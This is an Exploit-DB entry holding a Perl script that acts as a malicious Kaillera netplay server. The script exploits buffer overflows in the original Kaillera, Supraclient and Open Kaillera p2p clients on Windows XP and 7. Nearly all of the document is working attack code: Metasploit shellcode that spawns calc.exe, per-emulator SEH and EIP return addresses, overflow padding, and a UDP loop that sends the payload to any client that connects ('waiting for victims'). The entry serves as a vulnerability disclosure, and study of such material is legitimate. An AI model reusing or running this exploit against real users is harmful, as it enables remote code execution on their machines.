Kaillera - Multiple Clients Buffer Overflow Vulnerabilities

EDB-ID:
17460

CVE:
N/A

EDB Verified: ×

Author:
SIL3NT_DRE4M

Type:
REMOTE

Exploit: / {}

Platform:
WINDOWS

Date:
2011-06-30

Vulnerable App:

```
#!/usr/bin/perl

# Exploit Title: Remote Buffer Overflows in Kaillera clients
# Date: 6/30/11
# Author: sil3nt_dre4m
# Software Link: Multiple:
# 1.  Kaillera original client: An emulator to download with this client
bundled with it is Project64K 0.13:
http://www.zophar.net/download_file/1907
# 2.  Supraclient 0.85.2 CPPE : This client can be found here:
http://morphus56k.110mb.com/website/downloads/SupraclientCPPE_v0.85.2.zip
# 3.  Open Kaillera p2p client:
http://sourceforge.net/projects/okai/files/Client/n02.p2p%20v0/n02.P2P.v0r6.c
# Version: Multiple-see below
# Tested on: Windows XP, Windows 7

#Introduction:

#This script acts as a Kaillera server in order to exploit various Kaillera
clients.

#Kaillera facilitates playing emulator games over a network.
#The Kaillera protocol is built on top of UDP and is mostly documented
here: http://www.emulinker.com/index.php?page=Documentation&help=true
#Kaillera clients implement this protocol, and many of them have serious
vulnerabilities in their code.

#This server is capable of exploiting buffer overflows in the following
clients:

#Exploit tested against Windows 7 and XP machines, gets around ASLR
(modules don't have it loaded).

#Note: If you wish to exploit the same client twice, you will need to
restart the server.

#To reproduce the bugs shown here:

#1.  Download the Kaillera client you wish to test bug on.
#2.  Download emulator capable of Kaillera netplay, or one which this
script targets (Mame32k, and so forth).
#3.  Overwrite existing kailleraclient.dll with the one you wish to exploit
(Supraclient, open kaillera, original client).
#4.  Look for something that says netplay or Kaillera, and select it.  In
each emulator its different, for instance in Project64K go to File > Start
Netplay.
#5.  Run this server and connect to the IP its hosted on with the kaillera
client.

#Greetz to: Blindgeek and jediknight304 for much help with this script,
corelanc0d3r for
#awesome tutorials on buffer overflows, and Requiem for help with fixing
security bugs in Kaillera clients.

#DISCLAIMER: I'm not responsible for how you use this code.
#By running this code, you agree to accept responsibility for how you use
it and you agree to not hold me responsible for any problems arising from
running this code.

#Final Note: For more information on Kaillera vulnerabilities and
remediation information, check out http://kaillerahacks.blogspot.com/.

use strict;
use warnings;
use IO::Socket;
use Getopt::Long;
use Digest::MD5 qw(md5);
```

```
use subs qw(sendmessage help);

### Shellcode- spawn calc.exe from Metasploit Framework - ###

my $sc =
"\x31\xc9\xdd\xc5\xb8\xe6\xd8\x80\xa4\xb1\x33\xd9\x74\x24" .
"\xf4\x5a\x31\x42\x16\x83\xea\xfc\x03\x42\xf4\x3a\x75\x58" .
"\x10\x33\x76\xa1\xe0\x24\xfe\x44\xd1\x76\x64\x0c\x43\x47" .
"\xee\x40\x6f\x2c\xa2\x70\xe4\x40\x6b\x76\x4d\xee\x4d\xb9" .
"\x4e\xde\x51\x15\x8c\x40\x2e\x64\xc0\xa2\x0f\xa7\x15\xa2" .
"\x48\xda\xd5\xf6\x01\x90\x47\xe7\x26\xe4\x5b\x06\xe9\x62" .
"\xe3\x70\x8c\xb5\x97\xca\x8f\xe5\x07\x40\xc7\x1d\x2c\x0e" .
"\xf8\x1c\xe1\x4c\xc4\x57\x8e\xa7\xbe\x69\x46\xf6\x3f\x58" .
"\xa6\x55\x7e\x54\x2b\xa7\x46\x53\xd3\xd2\xbc\xa7\x6e\xe5" .
"\x06\xd5\xb4\x60\x9b\x7d\x3f\xd2\x7f\x7f\xec\x85\xf4\x73" .
"\x59\xc1\x53\x90\x5c\x06\xe8\xac\xd5\xa9\x3f\x25\xad\x8d" .
"\x9b\x6d\x76\xaf\xba\xcb\xd9\xd0\xdd\xb4\x86\x74\x95\x57" .
"\xd3\x0f\xf4\x3d\x22\x9d\x82\x7b\x24\x9d\x8c\x2b\x4c\xac" .
"\x07\xa4\x0b\x31\xc2\x80\xe3\x7b\x4f\xa0\x6b\x22\x05\xf0" .
"\xf6\xd5\xf3\x37\x0e\x56\xf6\xc7\xf5\x46\x73\xcd\xb2\xc0" .
"\x6f\xbf\xab\xa4\x8f\x6c\xcc\xec\xf3\xf3\x5e\x6c\xda\x96" .
"\xe6\x17\x22\x53";

########Variables##############

my $adjust ="\x81\xc4\x54\xf2\xff\xff"; # add esp, -3500 adjusts the stack
my
$ack="\x05\x00\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x0
#ACK packet in Kaillera protocol, see docs
my $ServerStatus="\x04" . "\x00" x 9; # No other users shown in server.
my $oldjunk="A" x 92; #For exploiting old Kaillera client username BOF.
my $junk="A" x 2082; #For exploiting P2P Kaillera client
my $suprajunk="A" x 2048; #Supraclient junk
my $MOTDHeader="\x17" . "Server\0";
my $MOTDMessage="Hello, Welcome to the Server\0";
my $nseh="\xeb\x06\x90\x90"; #short jmp for SEH exploits
my $seh, my $eip;
my $ServerExploit;
my $username;
my %inc; #increments a counter per client connected to us, each time a
message is sent
my ($port, $ip, $help, $target, $listtarget, $listemu, $emu, $delay,
$debug);
$port = 27888;

GetOptions(
  'port=i'=>\$port,
  'ip=s'  =>\$ip,
  'help'  =>\$help,
  't=s' =>\$target,
  'emu=s' =>\$emu,
  'targets' =>\$listtarget,
  'delay=i' =>\$delay,
  'debug' =>\$debug,
  'emus' =>\$listemu
);

if (defined $listtarget) {
print "\r\n=========Pick a version of Kaillera to attack :)
========\r\n\r\n" ;
print "1.  Kaillera 0.9/Anti3d  -t old \r\n\r\nPick emulator to target with
-emu flag: mame32k, snes, mupen\r\n\r\n";
print "2.  SupraclientCPPE 0.85.2  -t supra:\r\n\r\nPick emulator to target
with -emu flag: mame32, mupen\r\n\r\n";
print "3.  Open Kaillera n02v0r6  -t p2p (Universal Exploit)\r\n" ;
}

if (defined $listemu) {
print "\r\n=========Specific versions of emulators being attacked :)
```

```
print "\r\n==========Specific versions of emulators being attacked :)
============" . "\r\n\r\n" ;
print "Mame32k 0.64  -emu mame32k\r\n\r\n";
print "Mame32++ 0.117  -emu mame32\r\n\r\n";
print "Mupen64k 0.7.9  -emu mupen\r\n\r\n";
print "Snes9k 0.09  -emu snes\r\n";
}

help() if($help or not defined $ip or not defined $target);

#Note: add new targets like this, but make sure to use $variable when
redefining, not "my $variablename" or it wont work from earlier scope.
#Also, note that target "old" uses SEH-based overflow while target "supra"
uses EIP overwrite.

if ($target eq "old") {

    if (not defined $emu) {
    print "\r\nPick an emulator to target, this exploit isn't
universal\r\n";
    help();
    }

    if ($emu eq "mame32k") {
        print "\r\nTargetting Mame32k 0.64 running with Kaillera client
0.9...\r\n";
        $seh=pack('V',0x010B3A06); # #pop ebx - pop esi - ret at 0x010B3A06
[mame32k.exe]
    }

    elsif ($emu eq "snes") {
    print "\r\nTargetting Snes9k 0.09 running with Kaillera client
0.9...\r\n";
    $seh=pack('V',0x10018ECD); # pop ebx - pop ecx - ret at 0x10018ECD
[sdl.dll]
    }

    elsif ($emu eq "mupen") {
    print "\r\nTargetting Mupen64k 0.7.9 running with Kaillera client
0.9...\r\n";
    $seh=pack('V', 0x67F46FEF); #pop edi - pop ebp - ret at 0x67F46FEF
[mupen64_rsp_hle.dll].
    }

    else {
    print "\r\nPick a valid emulator to target: -emus to list emulators
\r\n";
    help();
    }

}

elsif  ($target eq "p2p") {
    print "\r\nTargetting P2P Client (Universal exploit)...\r\n";

    if (defined $emu) {
    print "\r\nUniversal exploit, no emu necessary...\r\n";
    help();
    }

    }

elsif  ($target eq "supra") {

    if (not defined $emu) {
    print "\r\nPick an emulator to target, this exploit isn't
universal\r\n";
    help();
    }
```

```
    if ($emu eq "mame32") {
    print "\r\nTargetting Mame32++ 0.117 running with Supraclient...\r\n";
    $eip=pack('V', 0x01C01104); #jmp esp in mameppkgui.exe
    }

    elsif ($emu eq "mupen") {
    print "\r\nTargetting Mupen64k 0.7.9 running with Supraclient...\r\n";
    $eip=pack('V', 0x10021C16); #jmp esp at 0x10021C16 [aziaudio.dll]
    }

    }

else {
    print "\r\nPick a valid target, try -targets if you're lost.\r\n";
    help();
    }

my $hello = "HELLOD00D$port\0";

#Open a new socket, start an infinite loop receiving messages from clients

my $sock = IO::Socket::INET->new(Proto=>'udp', LocalPort=>$port) or die
"Error opening $ip:$port \r\n$!";
print "Evil Kaillera Server Started on $ip:$port, waiting for victims
:D\r\n";

my $msg_in;
my $MAX_MESSAGE_LENGTH=5000;



while (1) {

  $sock->recv($msg_in,$MAX_MESSAGE_LENGTH);
  my $packet = unpack 'H*', $msg_in;

  if (defined $debug) {
  print "Packet found: $packet\n";
  }

  my $peerhost = $sock->peeraddr;
  my $peerport = $sock->peerport;

  #Check for client hello, send server hello

if ($msg_in =~ m/HELLO0\.83/) {
    print "Sending Hello...\n";
    $sock->send($hello);
    }

    #Since we're using an IF loop for username detection, the scope needs
to be over everything else,
    #because local machine processes data faster than incoming network
data.
    #Otherwise, username won't be detected until AFTER ServerAnnouncement
is sent and it wont work.

if ($msg_in =~ m/\x03(.*?\x00)/){
    my $username = $1 ;

    my $ServerAnnounce="\x02" . $username . substr(md5($username),0,2) .
"\x00" x 4 . "\x01"; #Not Complete yet

        if ($packet=~m/.{10}03/) {

            if (defined $debug) {
            print "Username $username found\r\n" . "Sending ACKs to
client...\r\n";
```

```
            }

        sendpacket(\$sock, $ack) for (1..3);
        sleep 1;

        }

    sendpacket(\$sock, $ServerStatus);
    print "Sending ServerStatus...\r\n";
    sendpacket(\$sock, $ServerAnnounce);

    if ($target eq "p2p") {
        print "Attacking p2p client...\r\n";
        $eip=pack('V',0x100123F3); # call esp in kailleraclient.dll,
universal
        sendpacket(\$sock, $MOTDHeader.$junk.$eip.$sc);
        print "Sending MOTD payload to P2PClient...\n";

        if (defined $delay) {
        sleep $delay;
        }

        }

  if ($target eq "supra") {
        print "Sending MOTD payload to Supraclient\r\n";
        sendpacket(\$sock, $MOTDHeader.$suprajunk.$eip.$adjust.$sc);

        if (defined $delay) {
        sleep $delay;
        }
  }
if ($target eq "old") {
        print "Sending Announce, MOTD to old kaillera client...\r\n";
        sendpacket(\$sock, $MOTDHeader.$MOTDMessage);
        my $ServerExploit="\x02" . $oldjunk . $nseh . $seh . $sc;
        print "Sending ServerStatus payload to 0.9 client...\r\n";
        sendpacket(\$sock, $ServerExploit);

        if (defined $delay) {
        sleep $delay;
        }

        }

  }


}

$sock->close;


########### FUNCTIONS ####################

sub help{
  print "\r\nUsage: $0 -port=1111 -ip=1.1.1.1 -t=supra -emu=mame32 -targets
-emus -delay 10 -debug -help\n";
  exit 0;
}


#This sendmessage function takes a message and an ip, and sends it nicely -
thanks jediknight304
#sendpacket($socket, $message, $anothermessage);
sub sendpacket{
  my $sock = shift;
  bless $sock, "IO::Socket::INET";
```

```
  my @messages = @_;
  my $numberofmessages = @messages;

  my $messagesbyte = pack('c',$numberofmessages);#how many messages are in
our packet

  my $packet;

  for(@messages){
    #each client has to have an incrementing packet number
    my $header = pack('v', $inc{$$sock->peeraddr}++) . pack ('v',
length($_));
    $packet .= $header.$_;
  }
  $$sock->send($messagesbyte.$packet) or die "Couldn't send:\n$packet\n$!";
}
```

Tags:

Advisory/Source: Link

Databases

Links

Sites

Solutions